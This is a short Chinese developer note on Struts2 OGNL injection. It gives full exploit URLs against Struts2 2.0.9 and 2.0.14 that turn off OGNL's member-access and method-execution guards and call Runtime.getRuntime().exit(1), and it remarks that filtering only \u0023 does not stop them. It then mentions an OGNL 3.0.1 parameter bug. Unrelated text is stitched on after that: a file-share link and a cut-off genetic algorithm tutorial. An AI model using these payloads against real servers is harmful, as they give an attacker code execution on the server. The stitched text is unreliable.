struts2-ognl mark

本文详细介绍了Struts2版本2.0.14和2.0.9中针对漏洞的攻击方式,并讨论了在升级到Struts2.2.3后出现的Ognl3.0.1小bug,特别是基本类型参数在请求参数中未赋值时引发的NosuchMethod异常问题,提供了相应的解决策略。

暂时mark在这,后面再补充

 

1. 关于漏洞的问题

http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action

 

2.0.9不行

http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

 

2.0.14失效

仅过滤\u0023不行

 

http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('zz')(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(x))(zzxx))&('aaa')((('\43context.excludeProperties\u003dEMPTY_SET')('x'))(zzxx))&(asdf)(('@java.lang.Runtime@getRuntime().exit(1)')('z'))

 

2.ognl3.0.1的问题

 

升级到struts2.2.3之后,ognl3.0.1会产生一个小bug。 基本类型的参数,比如int,long,short,如果在请求参数中没有赋值,会抛出NosuchMethod的异常。

先展示下效果 https://pan.quark.cn/s/a4b39357ea24 遗传算法 - 简书 遗传算法的理论是根据达尔文进化论而设计出来的算法: 人类是朝着好的方向(最优解)进化,进化过程中,会自动选择优良基因,淘汰劣等基因。 遗传算法(英语:genetic algorithm (GA) )是计算数学中用于解决最佳化的搜索算法,是进化算法的一种。 进化算法最初是借鉴了进化生物学中的一些现象而发展起来的,这些现象包括遗传、突变、自然选择、杂交等。 搜索算法的共同特征为: 首先组成一组候选解 依据某些适应性条件测算这些候选解的适应度 根据适应度保留某些候选解,放弃其他候选解 对保留的候选解进行某些操作,生成新的候选解 遗传算法流程 遗传算法的一般步骤 my_fitness函数 评估每条染色体所对应个体的适应度 升序排列适应度评估值,选出 前 parent_number 个 个体作为 待选 parent 种群(适应度函数的值越小越好) 从 待选 parent 种群 中随机选择 2 个个体作为父方和母方。 抽取父母双方的染色体,进行交叉,产生 2 个子代。 (交叉概率) 对子代(parent + 生成的 child)的染色体进行变异。 (变异概率) 重复3,4,5步骤,直到新种群(parentnumber + childnumber)的产生。 循环以上步骤直至找到满意的解。 名词解释 交叉概率:两个个体进行交配的概率。 例如,交配概率为0.8,则80%的“夫妻”会生育后代。 变异概率:所有的基因中发生变异的占总体的比例。 GA函数 适应度函数 适应度函数由解决的问题决定。 举一个平方和的例子。 简单的平方和问题 求函数的最小值,其中每个变量的取值区间都是 [-1, ...
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